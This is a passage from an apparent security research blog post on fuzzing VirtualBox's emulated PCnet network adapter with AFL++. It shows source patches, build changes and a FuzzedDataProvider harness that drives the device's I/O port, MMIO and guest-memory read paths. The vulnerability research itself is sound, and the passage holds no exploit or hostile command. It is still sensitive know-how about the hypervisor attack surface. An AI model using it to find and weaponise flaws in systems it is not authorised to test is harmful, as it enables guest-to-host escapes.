<span class="cm">/* .pszDescription = */</span> <span class="s">"AMD PCnet Ethernet controller.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
<span class="cp">#if defined(IN_RING3)
</span> <span class="cm">/* .pszRCMod = */</span> <span class="s">"VBoxDDRC.rc"</span><span class="p">,</span>
<span class="cm">/* .pszR0Mod = */</span> <span class="s">"VBoxDDR0.r0"</span><span class="p">,</span>
<span class="cm">/* .pfnConstruct = */</span> <span class="n">pcnetR3Construct</span><span class="p">,</span>
<span class="cm">/* .pfnDestruct = */</span> <span class="n">pcnetR3Destruct</span><span class="p">,</span>
<span class="cm">/* .pfnRelocate = */</span> <span class="n">pcnetR3Relocate</span><span class="p">,</span>
<span class="cm">/* .pfnMemSetup = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnPowerOn = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReset = */</span> <span class="n">pcnetR3Reset</span><span class="p">,</span>
<span class="cm">/* .pfnSuspend = */</span> <span class="n">pcnetR3Suspend</span><span class="p">,</span>
<span class="cm">/* .pfnResume = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnAttach = */</span> <span class="n">pcnetR3Attach</span><span class="p">,</span>
<span class="cm">/* .pfnDetach = */</span> <span class="n">pcnetR3Detach</span><span class="p">,</span>
<span class="cm">/* .pfnQueryInterface = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnInitComplete = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnPowerOff = */</span> <span class="n">pcnetR3PowerOff</span><span class="p">,</span>
<span class="cm">/* .pfnSoftReset = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved0 = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved1 = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved2 = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved3 = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved4 = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved5 = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved6 = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved7 = */</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="cp">#elif defined(IN_RING0)
</span><span class="c1">// [ SNIP ]</span>
</code></pre></div></div>
<p>The most interesting fields are <code class="language-plaintext highlighter-rouge">.pfnReset,</code> which resets the driver’s state, and the <code class="language-plaintext highlighter-rouge">.pfnReserved</code> functions. The latter ones are currently not used, but we can add our own functions and call them, by modifying the PDM (Pluggable Device Manager) header files. PDM is an abstract interface used to add new virtual devices relatively easily.</p>
<p>But first, if we want to use the modified <code class="language-plaintext highlighter-rouge">VboxHeadless</code>, which provides a high-level interface (<a href="https://www.virtualbox.org/sdkref/annotated.html">VirtualBox Main API</a>) to the VirtualBox functionality, we need to find a way to access the <code class="language-plaintext highlighter-rouge">pdm</code> structure.</p>
<p>By reading the source code, we can see multiple patterns where <code class="language-plaintext highlighter-rouge">pVM</code> (pointer to a VM handle) is dereferenced to traverse a linked list with all device instances:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/VBox/VMM/VMMR3/PDMDevice.cpp</span>
<span class="k">for</span> <span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span> <span class="o">=</span> <span class="n">pVM</span><span class="o">-></span><span class="n">pdm</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">pDevInstances</span><span class="p">;</span> <span class="n">pDevIns</span><span class="p">;</span> <span class="n">pDevIns</span> <span class="o">=</span> <span class="n">pDevIns</span><span class="o">-></span><span class="n">Internal</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">pNextR3</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// [ SNIP ]</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The VirtualBox Main API on non-Windows platforms uses Mozilla <a href="https://en.wikipedia.org/wiki/XPCOM">XPCOM</a>. So we wanted to find out if we could leverage it to access the low-level structures. After some digging, we found out that indeed it’s possible to retrieve the VM handle via the <code class="language-plaintext highlighter-rouge">IMachineDebugger</code> class:</p>
<p><img src="../../../public/images/vbox-imachinedebugger.png" width="750" alt="IMachineDebugger VM" align="center" /></p>
<p>With that, the following snippet of code demonstrates how to access <code class="language-plaintext highlighter-rouge">pVM</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">LONG64</span> <span class="n">llVM</span><span class="p">;</span>
<span class="n">HRESULT</span> <span class="n">hrc</span> <span class="o">=</span> <span class="n">machineDebugger</span><span class="o">-></span><span class="n">COMGETTER</span><span class="p">(</span><span class="n">VM</span><span class="p">)(</span><span class="o">&</span><span class="n">llVM</span><span class="p">);</span>
<span class="n">PUVM</span> <span class="n">pUVM</span> <span class="o">=</span> <span class="p">(</span><span class="n">PUVM</span><span class="p">)(</span><span class="kt">intptr_t</span><span class="p">)</span><span class="n">llVM</span><span class="p">;</span> <span class="cm">/* The user mode VM handle */</span>
<span class="n">PVM</span> <span class="n">pVM</span> <span class="o">=</span> <span class="n">pUVM</span><span class="o">-></span><span class="n">pVM</span><span class="p">;</span>
</code></pre></div></div>
<p>After obtaining the pointer to the VM, we have to change the build scripts again, allowing <code class="language-plaintext highlighter-rouge">VboxHeadless</code> to access internal PDM definitions from <code class="language-plaintext highlighter-rouge">VBoxHeadless.cpp</code>.</p>
<p>We tried to minimize the amount of changes and after some experimentation, we came up with the following steps:</p>
<p>1) Create a new file called <code class="language-plaintext highlighter-rouge">src/VBox/Frontends/Common/harness.h</code> with this content:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* without this, include/VBox/vmm/pdmtask.h does not import PDMTASKTYPE enum */</span>
<span class="cp">#define VBOX_IN_VMM 1
</span>
<span class="cp">#include</span> <span class="cpf">"PDMInternal.h"</span><span class="cp">
</span>
<span class="cm">/* needed by machineDebugger COM VM getter */</span>
<span class="cp">#include</span> <span class="cpf"><VBox/vmm/vm.h></span><span class="cp">
#include</span> <span class="cpf"><VBox/vmm/uvm.h></span><span class="cp">
</span>
<span class="cm">/* needed by AFL */</span>
<span class="cp">#include</span> <span class="cpf"><unistd.h></span><span class="cp">
</span></code></pre></div></div>
<p>2) Modify the <code class="language-plaintext highlighter-rouge">src/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp</code> file by adding the following code just before the event loop starts, near the end of the file:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">LogRel</span><span class="p">((</span><span class="s">"VBoxHeadless: failed to start windows message monitor: %Rrc</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">irc</span><span class="p">));</span>
<span class="cp">#endif </span><span class="cm">/* RT_OS_WINDOWS */</span><span class="cp">
</span>
<span class="cm">/* --------------- BEGIN --------------- */</span>
<span class="n">LONG64</span> <span class="n">llVM</span><span class="p">;</span>
<span class="n">HRESULT</span> <span class="n">hrc</span> <span class="o">=</span> <span class="n">machineDebugger</span><span class="o">-></span><span class="n">COMGETTER</span><span class="p">(</span><span class="n">VM</span><span class="p">)(</span><span class="o">&</span><span class="n">llVM</span><span class="p">);</span>
<span class="n">PUVM</span> <span class="n">pUVM</span> <span class="o">=</span> <span class="p">(</span><span class="n">PUVM</span><span class="p">)(</span><span class="kt">intptr_t</span><span class="p">)</span><span class="n">llVM</span><span class="p">;</span> <span class="cm">/* The user mode VM handle */</span>
<span class="n">PVM</span> <span class="n">pVM</span> <span class="o">=</span> <span class="n">pUVM</span><span class="o">-></span><span class="n">pVM</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">SUCCEEDED</span><span class="p">(</span><span class="n">hrc</span><span class="p">))</span> <span class="p">{</span>
<span class="n">PUVM</span> <span class="n">pUVM</span> <span class="o">=</span> <span class="p">(</span><span class="n">PUVM</span><span class="p">)(</span><span class="kt">intptr_t</span><span class="p">)</span><span class="n">llVM</span><span class="p">;</span> <span class="cm">/* The user mode VM handle */</span>
<span class="n">PVM</span> <span class="n">pVM</span> <span class="o">=</span> <span class="n">pUVM</span><span class="o">-></span><span class="n">pVM</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span> <span class="o">=</span> <span class="n">pVM</span><span class="o">-></span><span class="n">pdm</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">pDevInstances</span><span class="p">;</span> <span class="n">pDevIns</span><span class="p">;</span> <span class="n">pDevIns</span> <span class="o">=</span> <span class="n">pDevIns</span><span class="o">-></span><span class="n">Internal</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">pNextR3</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pDevIns</span><span class="o">-></span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"pcnet"</span><span class="p">))</span> <span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="n">__AFL_FUZZ_TESTCASE_BUF</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="n">__AFL_LOOP</span><span class="p">(</span><span class="mi">10000</span><span class="p">))</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">__AFL_FUZZ_TESTCASE_LEN</span><span class="p">;</span>
<span class="n">pDevIns</span><span class="o">-></span><span class="n">pReg</span><span class="o">-></span><span class="n">pfnAFL</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="cm">/* --------------- END --------------- */</span>
<span class="cm">/*
* Pump vbox events forever
*/</span>
<span class="n">LogRel</span><span class="p">((</span><span class="s">"VBoxHeadless: starting event loop</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(;;)</span>
</code></pre></div></div>
<p>In the same file after the <code class="language-plaintext highlighter-rouge">#include "PasswordInput.h"</code> directive, add:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"harness.h"</span><span class="cp">
</span></code></pre></div></div>
<p>Finally, append <code class="language-plaintext highlighter-rouge">__AFL_FUZZ_INIT();</code> before defining the <code class="language-plaintext highlighter-rouge">TrustedMain</code> function:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__AFL_FUZZ_INIT</span><span class="p">();</span>
<span class="cm">/**
* Entry point.
*/</span>
<span class="k">extern</span> <span class="s">"C"</span> <span class="n">DECLEXPORT</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">TrustedMain</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</code></pre></div></div>
<p>4) Edit <code class="language-plaintext highlighter-rouge">src/VBox/Frontends/VBoxHeadless/Makefile.kmk</code> and change the <code class="language-plaintext highlighter-rouge">VBoxHeadless_DEFS</code> and <code class="language-plaintext highlighter-rouge">VBoxHeadless_INCS</code> from</p>
<div class="language-make highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">VBoxHeadless_TEMPLATE</span> <span class="o">:=</span> <span class="nf">$(</span><span class="nb">if</span> <span class="nv">$(VBOX_WITH_HARDENING)</span>,VBOXMAINCLIENTDLL,VBOXMAINCLIENTEXE<span class="nf">)</span>
<span class="nv">VBoxHeadless_DEFS</span> <span class="o">+=</span> <span class="nf">$(</span><span class="nb">if</span> <span class="nv">$(VBOX_WITH_RECORDING)</span>,VBOX_WITH_RECORDING,<span class="nf">)</span>
<span class="nv">VBoxHeadless_INCS</span> <span class="o">=</span> <span class="se">\</span>
<span class="nv">$(VBOX_GRAPHICS_INCS)</span> <span class="se">\</span>
../Common
</code></pre></div></div>
<p>to</p>
<div class="language-make highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">VBoxHeadless_TEMPLATE</span> <span class="o">:=</span> <span class="nf">$(</span><span class="nb">if</span> <span class="nv">$(VBOX_WITH_HARDENING)</span>,VBOXMAINCLIENTDLL,VBOXMAINCLIENTEXE<span class="nf">)</span>
<span class="nv">VBoxHeadless_DEFS</span> <span class="o">+=</span> <span class="nf">$(</span><span class="nb">if</span> <span class="nv">$(VBOX_WITH_RECORDING)</span>,VBOX_WITH_RECORDING,<span class="nf">)</span> <span class="nv">$(VMM_COMMON_DEFS)</span>
<span class="nv">VBoxHeadless_INCS</span> <span class="o">=</span> <span class="se">\</span>
<span class="nv">$(VBOX_GRAPHICS_INCS)</span> <span class="se">\</span>
../Common <span class="se">\</span>
../../VMM/include
</code></pre></div></div>
<h3 id="fuzzing-with-multiple-inputs">Fuzzing With Multiple Inputs</h3>
<p>For the network drivers, there are various ways of supplying the user-controlled data by using access I/O port instructions or reading the data from the emulated device via MMIO (<code class="language-plaintext highlighter-rouge">PDMDevHlpPhysRead</code>). If this part is unclear, please refer back to [1] in references, which is probably the best available resource for explaining the attack surface. Moreover, many ports or values are restricted to a specific set, and to save some time, we want to use only these values. Therefore, after some consideration for the implementing of our fuzzing framework, we discovered <a href="https://github.com/google/fuzzing/blob/master/docs/split-inputs.md#fuzzed-data-provider">Fuzzed Data Provider</a> (later FDP).</p>
<p>FDP is part of the LLVM and, after we pass it a buffer generated by AFL, it can leverage it to generate a restricted set of numbers, bytes, or enums. We can store the pointer to FDP inside the device driver instance and retrieve it any time we want to feed some buffer.</p>
<p>Recall that we can use the <code class="language-plaintext highlighter-rouge">pfnReserved</code> fields to implement our fuzzing helper functions. For this, it’s enough to edit <code class="language-plaintext highlighter-rouge">include/VBox/vmm/pdmdev.h</code> and change the <code class="language-plaintext highlighter-rouge">PDMDEVREGR3</code> structure to conform to our prototype:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DECLR3CALLBACKMEMBER</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="n">pfnAFL</span><span class="p">,</span> <span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">));</span>
<span class="n">DECLR3CALLBACKMEMBER</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">pfnGetFDP</span><span class="p">,</span> <span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span><span class="p">));</span>
<span class="n">DECLR3CALLBACKMEMBER</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="n">pfnReserved2</span><span class="p">,</span> <span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span><span class="p">));</span>
</code></pre></div></div>
<p>All device drivers have a state, which we can access using convenient macro <code class="language-plaintext highlighter-rouge">PDMDEVINS_2_DATA</code>. Likewise, we can extend the state structure (in our case <code class="language-plaintext highlighter-rouge">PCNETSTATE</code>) to include the FDP header file via a pointer to FDP:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/VBox/Devices/Network/DevPCNet.cpp</span>
<span class="cp">#ifdef IN_RING3
# include <iprt/mem.h>
# include <iprt/semaphore.h>
# include <iprt/uuid.h>
# include <fuzzer/FuzzedDataProvider.h> </span><span class="cm">/* Add this */</span><span class="cp">
#endif
</span>
<span class="c1">// [ SNIP ]</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">PCNETSTATE</span>
<span class="p">{</span>
<span class="c1">// [ SNIP ]</span>
<span class="cp">#endif </span><span class="cm">/* VBOX_WITH_STATISTICS */</span><span class="cp">
</span> <span class="kt">void</span> <span class="o">*</span> <span class="n">fdp</span><span class="p">;</span> <span class="cm">/* Add this */</span>
<span class="p">}</span> <span class="n">PCNETSTATE</span><span class="p">;</span>
<span class="cm">/** Pointer to a shared PCnet state structure. */</span>
<span class="k">typedef</span> <span class="n">PCNETSTATE</span> <span class="o">*</span><span class="n">PPCNETSTATE</span><span class="p">;</span>
</code></pre></div></div>
<p>To reflect these changes, the <code class="language-plaintext highlighter-rouge">g_DevicePCNet</code> structure has to be updated too :</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
* The device registration structure.
*/</span>
<span class="k">const</span> <span class="n">PDMDEVREG</span> <span class="n">g_DevicePCNet</span> <span class="o">=</span>
<span class="p">{</span>
<span class="c1">// [[ SNIP ]]</span>
<span class="cm">/* .pfnConstruct = */</span> <span class="n">pcnetR3Construct</span><span class="p">,</span>
<span class="c1">// [[ SNIP ]]</span>
<span class="cm">/* .pfnReserved0 = */</span> <span class="n">pcnetR3_AFL</span><span class="p">,</span>
<span class="cm">/* .pfnReserved1 = */</span> <span class="n">pcnetR3_GetFDP</span><span class="p">,</span>
</code></pre></div></div>
<p>When adding new functions, we must be careful and include them inside R3 only parts. The easiest way is to find the R3 constructor and add new code just after that, as it already has defined the <code class="language-plaintext highlighter-rouge">IN_RING3</code> macro for the conditional compilation.</p>
<p>An example of the PCNet harness:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="nf">DECLCALLBACK</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="n">pcnetR3_GetFDP</span><span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span><span class="p">)</span> <span class="p">{</span>
<span class="n">PPCNETSTATE</span> <span class="n">pThis</span> <span class="o">=</span> <span class="n">PDMDEVINS_2_DATA</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">PPCNETSTATE</span><span class="p">);</span>
<span class="k">return</span> <span class="n">pThis</span><span class="o">-></span><span class="n">fdp</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">__AFL_COVERAGE</span><span class="p">();</span>
<span class="k">static</span> <span class="nf">DECLCALLBACK</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">pcnetR3_AFL</span><span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">></span> <span class="mh">0x2000</span><span class="p">)</span> <span class="p">{</span>
<span class="n">__AFL_COVERAGE_SKIP</span><span class="p">();</span>
<span class="k">return</span> <span class="n">VINF_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">buf2</span><span class="p">[</span><span class="mh">0x2000</span><span class="p">];</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">buf2</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="n">FuzzedDataProvider</span> <span class="n">provider</span><span class="p">(</span><span class="n">buf2</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="n">PPCNETSTATE</span> <span class="n">pThis</span> <span class="o">=</span> <span class="n">PDMDEVINS_2_DATA</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">PPCNETSTATE</span><span class="p">);</span>
<span class="n">pThis</span><span class="o">-></span><span class="n">fdp</span> <span class="o">=</span> <span class="o">&</span><span class="n">provider</span><span class="p">;</span> <span class="c1">// Make it accessible for the other modules</span>
<span class="n">FuzzedDataProvider</span> <span class="o">*</span><span class="n">pfdp</span> <span class="o">=</span> <span class="p">(</span><span class="n">FuzzedDataProvider</span> <span class="o">*</span><span class="p">)</span> <span class="n">pDevIns</span><span class="o">-></span><span class="n">pReg</span><span class="o">-></span><span class="n">pfnGetFDP</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">);</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">pvUser</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">u32</span><span class="p">;</span>
<span class="k">const</span> <span class="n">std</span><span class="o">::</span><span class="n">array</span><span class="o"><</span><span class="kt">int</span><span class="p">,</span> <span class="mi">3</span><span class="o">></span> <span class="n">Array</span> <span class="o">=</span> <span class="p">{</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">4</span><span class="p">};</span>
<span class="kt">uint16_t</span> <span class="n">offPort</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">cb</span><span class="p">;</span>
<span class="n">pcnetR3Reset</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">);</span>
<span class="n">__AFL_COVERAGE_DISCARD</span><span class="p">();</span>
<span class="n">__AFL_COVERAGE_ON</span><span class="p">();</span>
<span class="k">while</span> <span class="p">(</span><span class="n">pfdp</span><span class="o">-></span><span class="n">remaining_bytes</span><span class="p">()</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">auto</span> <span class="n">choice</span> <span class="o">=</span> <span class="n">pfdp</span><span class="o">-></span><span class="n">ConsumeIntegralInRange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
<span class="n">offPort</span> <span class="o">=</span> <span class="n">pfdp</span><span class="o">-></span><span class="n">ConsumeIntegral</span><span class="o"><</span><span class="kt">uint16_t</span><span class="o">></span><span class="p">();</span>
<span class="n">u32</span> <span class="o">=</span> <span class="n">pfdp</span><span class="o">-></span><span class="n">ConsumeIntegral</span><span class="o"><</span><span class="kt">uint32_t</span><span class="o">></span><span class="p">();</span>
<span class="n">cb</span> <span class="o">=</span> <span class="n">pfdp</span><span class="o">-></span><span class="n">PickValueInArray</span><span class="p">(</span><span class="n">Array</span><span class="p">);</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">choice</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="mi">0</span><span class="p">:</span>
<span class="c1">// pcnetIoPortWrite(PPDMDEVINS pDevIns, void *pvUser, </span>
<span class="c1">// RTIOPORT offPort, uint32_t u32, unsigned cb)</span>
<span class="n">pcnetIoPortWrite</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">pvUser</span><span class="p">,</span> <span class="n">offPort</span><span class="p">,</span> <span class="n">u32</span><span class="p">,</span> <span class="n">cb</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
<span class="c1">// pcnetIoPortAPromWrite(PPDMDEVINS pDevIns, void *pvUser, </span>
<span class="c1">// RTIOPORT offPort, uint32_t u32, unsigned cb)</span>
<span class="n">pcnetIoPortAPromWrite</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">pvUser</span><span class="p">,</span> <span class="n">offPort</span><span class="p">,</span> <span class="n">u32</span><span class="p">,</span> <span class="n">cb</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
<span class="c1">// pcnetR3MmioWrite(PPDMDEVINS pDevIns, void *pvUser,</span>
<span class="c1">// RTGCPHYS off, void const *pv, unsigned cb)</span>
<span class="n">pcnetR3MmioWrite</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">pvUser</span><span class="p">,</span> <span class="n">offPort</span><span class="p">,</span> <span class="o">&</span><span class="n">u32</span><span class="p">,</span> <span class="n">cb</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="nl">default:</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">__AFL_COVERAGE_OFF</span><span class="p">();</span>
<span class="n">pThis</span><span class="o">-></span><span class="n">fdp</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">return</span> <span class="n">VINF_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h3 id="fuzzing-pdmdevhlpphysread">Fuzzing PDMDevHlpPhysRead</h3>
<p>As the device driver calls this function multiple times, we decided to patch the wrapper instead of modifying every instance. We can do so by editing <code class="language-plaintext highlighter-rouge">src/VBox/VMM/VMMR3/PDMDevHlp.cpp</code>, adding the relevant FDP header, and changing the <code class="language-plaintext highlighter-rouge">pdmR3DevHlp_PhysRead</code> method to fuzz only the specific driver.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"dtrace/VBoxVMM.h"</span><span class="cp">
#include</span> <span class="cpf">"PDMInline.h"</span><span class="cp">
</span>
<span class="cp">#include</span> <span class="cpf"><fuzzer/FuzzedDataProvider.h></span><span class="c1"> /* Add this */</span><span class="cp">
</span>
<span class="c1">// [ SNIP ]</span>
<span class="cm">/** @interface_method_impl{PDMDEVHLPR3,pfnPhysRead} */</span>
<span class="k">static</span> <span class="nf">DECLCALLBACK</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">pdmR3DevHlp_PhysRead</span><span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span><span class="p">,</span> <span class="n">RTGCPHYS</span> <span class="n">GCPhys</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">pvBuf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">cbRead</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">PDMDEV_ASSERT_DEVINS</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">);</span>
<span class="n">PVM</span> <span class="n">pVM</span> <span class="o">=</span> <span class="n">pDevIns</span><span class="o">-></span><span class="n">Internal</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">pVMR3</span><span class="p">;</span>
<span class="n">LogFlow</span><span class="p">((</span><span class="s">"pdmR3DevHlp_PhysRead: caller='%s'/%d: GCPhys=%RGp pvBuf=%p cbRead=%#x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
<span class="n">pDevIns</span><span class="o">-></span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="n">pDevIns</span><span class="o">-></span><span class="n">iInstance</span><span class="p">,</span> <span class="n">GCPhys</span><span class="p">,</span> <span class="n">pvBuf</span><span class="p">,</span> <span class="n">cbRead</span><span class="p">));</span>
<span class="cm">/* Change this for the fuzzed driver */</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pDevIns</span><span class="o">-></span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"pcnet"</span><span class="p">))</span> <span class="p">{</span>
<span class="n">FuzzedDataProvider</span> <span class="o">*</span><span class="n">pfdp</span> <span class="o">=</span> <span class="p">(</span><span class="n">FuzzedDataProvider</span> <span class="o">*</span><span class="p">)</span> <span class="n">pDevIns</span><span class="o">-></span><span class="n">pReg</span><span class="o">-></span><span class="n">pfnGetFDP</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">pfdp</span> <span class="o">&&</span> <span class="n">pfdp</span><span class="o">-></span><span class="n">remaining_bytes</span><span class="p">()</span> <span class="o">>=</span> <span class="n">cbRead</span><span class="p">)</span> <span class="p">{</span>
<span class="n">pfdp</span><span class="o">-></span><span class="n">ConsumeData</span><span class="p">(</span><span class="n">pvBuf</span><span class="p">,</span> <span class="n">cbRead</span><span class="p">);</span>
<span class="k">return</span> <span class="n">VINF_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Using <code class="language-plaintext highlighter-rouge">out/linux.amd64/release/bin/VBoxNetAdpCtl</code>, we can add our network adapter and start fuzzing in <a href="https://github.com/AFLplusplus/AFLplusplus/blob/stable/instrumentation/README.persistent_mode.md">persistent mode</a>. However, even when we can reach more than 10k executions per second, we still have some work to do about the stability.</p>
<h2 id="improving-stability">Improving Stability</h2>
<p>Unfortunately, none of these methods described <a href="https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/best_practices.md#improving-stability">here</a> worked, as we were not able to use LTO instrumentation. We guess that’s because the device drivers module was dynamically loaded, therefore partially disabling instrumentation was not possible nor was possible to identify unstable edges. The instability is caused by not properly resetting the driver’s state, and because we are running the whole VM, there are many things under the hood which are not easy to influence, such as internal locks or VMM.</p>
<p>One of the improvements is already contained in the harness, as we can discard the coverage before we start fuzzing and enable it only for a short fuzzing block.</p>
